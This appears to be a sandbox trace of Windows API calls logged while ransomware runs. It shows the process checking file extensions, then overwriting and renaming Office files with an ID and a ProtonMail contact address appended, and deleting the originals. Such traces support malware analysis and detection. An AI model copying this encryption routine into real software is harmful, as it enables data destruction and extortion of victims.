	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString=".dbf") returned 4
	[0069.065] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString=".1cd") returned 4
	[0069.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.066] lstrlenW (lpString=".jpg") returned 4
	[0069.066] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.066] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0069.066] lstrlenW (lpString="AppXManifest.common.xml") returned 23
	[0069.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0069.066] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2173046) returned 1
	[0069.066] CloseHandle (hObject=0x328) returned 1
	[0069.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220
	[0069.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0069.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0069.067] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc64 | out: lpNewFilePointer=0x0) returned 1
	[0069.067] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.067] ReadFile (in: hFile=0x328, lpBuffer=0x3eff058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eff058*, lpNumberOfBytesRead=0x34dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.130] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.130] ReadFile (in: hFile=0x328, lpBuffer=0x3f3f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3f3f058*, lpNumberOfBytesRead=0x34dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.158] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.158] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.158] ReadFile (in: hFile=0x328, lpBuffer=0x3f7f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3f7f058*, lpNumberOfBytesRead=0x34dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.200] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.200] WriteFile (in: hFile=0x328, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x34dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0069.696] SetEndOfFile (hFile=0x328) returned 1
	[0069.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0069.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.700] WriteFile (in: hFile=0x328, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x34dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.702] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.702] WriteFile (in: hFile=0x328, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x34dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.705] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.705] WriteFile (in: hFile=0x328, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x34dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.706] CloseHandle (hObject=0x328) returned 1
	[0071.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.181] lstrlenW (lpString=".doc") returned 4
	[0071.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.181] lstrlenW (lpString=".docx") returned 5
	[0071.181] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0071.181] lstrlenW (lpString=".pdf") returned 4
	[0071.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.181] lstrlenW (lpString=".xls") returned 4
	[0071.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.181] lstrlenW (lpString=".xlsx") returned 5
	[0071.181] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0071.181] lstrlenW (lpString=".ppt") returned 4
	[0071.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString=".zip") returned 4
	[0071.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.182] lstrlenW (lpString=".rar") returned 4
	[0071.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString=".bz2") returned 4
	[0071.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString=".7z") returned 3
	[0071.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString=".dbf") returned 4
	[0071.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString=".1cd") returned 4
	[0071.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString=".jpg") returned 4
	[0071.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.182] lstrlenW (lpString=".doc") returned 4
	[0071.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.182] lstrlenW (lpString=".docx") returned 5
	[0071.182] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0071.182] lstrlenW (lpString=".pdf") returned 4
	[0071.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString=".xls") returned 4
	[0071.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString=".xlsx") returned 5
	[0071.183] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0071.183] lstrlenW (lpString=".ppt") returned 4
	[0071.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.183] lstrlenW (lpString=".zip") returned 4
	[0071.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.183] lstrlenW (lpString=".rar") returned 4
	[0071.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString=".bz2") returned 4
	[0071.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString=".7z") returned 3
	[0071.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.183] lstrlenW (lpString=".dbf") returned 4
	[0071.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.183] lstrlenW (lpString=".1cd") returned 4
	[0071.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0071.183] lstrlenW (lpString=".jpg") returned 4
	[0071.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.184] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.184] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0071.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.184] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=26332) returned 1
	[0071.184] CloseHandle (hObject=0x328) returned 1
	[0071.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220
	[0071.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.185] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.185] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.185] GetLastError () returned 0x0
	[0071.185] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x66dc, lpOverlapped=0x0) returned 1
	[0071.188] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x66e0, lpOverlapped=0x0) returned 1
	[0071.193] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.193] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.194] SetEndOfFile (hFile=0x38c) returned 1
	[0071.194] CloseHandle (hObject=0x38c) returned 1
	[0071.195] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.195] SetEndOfFile (hFile=0x328) returned 1
	[0071.197] CloseHandle (hObject=0x328) returned 1
	[0071.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1
	[0071.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.198] lstrlenW (lpString=".doc") returned 4
	[0071.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.198] lstrlenW (lpString=".docx") returned 5
	[0071.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.198] lstrlenW (lpString=".pdf") returned 4
	[0071.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.198] lstrlenW (lpString=".xls") returned 4
	[0071.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.198] lstrlenW (lpString=".xlsx") returned 5
	[0071.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.198] lstrlenW (lpString=".ppt") returned 4
	[0071.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.198] lstrlenW (lpString=".zip") returned 4
	[0071.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.198] lstrlenW (lpString=".rar") returned 4
	[0071.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.198] lstrlenW (lpString=".bz2") returned 4
	[0071.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.198] lstrlenW (lpString=".7z") returned 3
	[0071.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString=".dbf") returned 4
	[0071.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString=".1cd") returned 4
	[0071.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString=".jpg") returned 4
	[0071.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString=".doc") returned 4
	[0071.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString=".docx") returned 5
	[0071.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.199] lstrlenW (lpString=".pdf") returned 4
	[0071.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString=".xls") returned 4
	[0071.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.199] lstrlenW (lpString=".xlsx") returned 5
	[0071.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.199] lstrlenW (lpString=".ppt") returned 4
	[0071.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.199] lstrlenW (lpString=".zip") returned 4
	[0071.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.199] lstrlenW (lpString=".rar") returned 4
	[0071.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.200] lstrlenW (lpString=".bz2") returned 4
	[0071.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.200] lstrlenW (lpString=".7z") returned 3
	[0071.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.200] lstrlenW (lpString=".dbf") returned 4
	[0071.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.200] lstrlenW (lpString=".1cd") returned 4
	[0071.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0071.200] lstrlenW (lpString=".jpg") returned 4
	[0071.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.200] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.200] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0071.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.200] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=27858) returned 1
	[0071.201] CloseHandle (hObject=0x328) returned 1
	[0071.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220
	[0071.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.201] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.201] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.201] GetLastError () returned 0x0
	[0071.201] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x6cd2, lpOverlapped=0x0) returned 1
	[0071.204] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x6ce0, lpOverlapped=0x0) returned 1
	[0071.205] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.205] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.205] SetEndOfFile (hFile=0x38c) returned 1
	[0071.206] CloseHandle (hObject=0x38c) returned 1
	[0071.208] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.208] SetEndOfFile (hFile=0x328) returned 1
	[0071.209] CloseHandle (hObject=0x328) returned 1
	[0071.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1
	[0071.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.210] lstrlenW (lpString=".doc") returned 4
	[0071.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.210] lstrlenW (lpString=".docx") returned 5
	[0071.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.210] lstrlenW (lpString=".pdf") returned 4
	[0071.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.210] lstrlenW (lpString=".xls") returned 4
	[0071.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.210] lstrlenW (lpString=".xlsx") returned 5
	[0071.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.210] lstrlenW (lpString=".ppt") returned 4
	[0071.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.210] lstrlenW (lpString=".zip") returned 4
	[0071.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.210] lstrlenW (lpString=".rar") returned 4
	[0071.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.210] lstrlenW (lpString=".bz2") returned 4
	[0071.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString=".7z") returned 3
	[0071.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.211] lstrlenW (lpString=".dbf") returned 4
	[0071.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.211] lstrlenW (lpString=".1cd") returned 4
	[0071.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.211] lstrlenW (lpString=".jpg") returned 4
	[0071.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
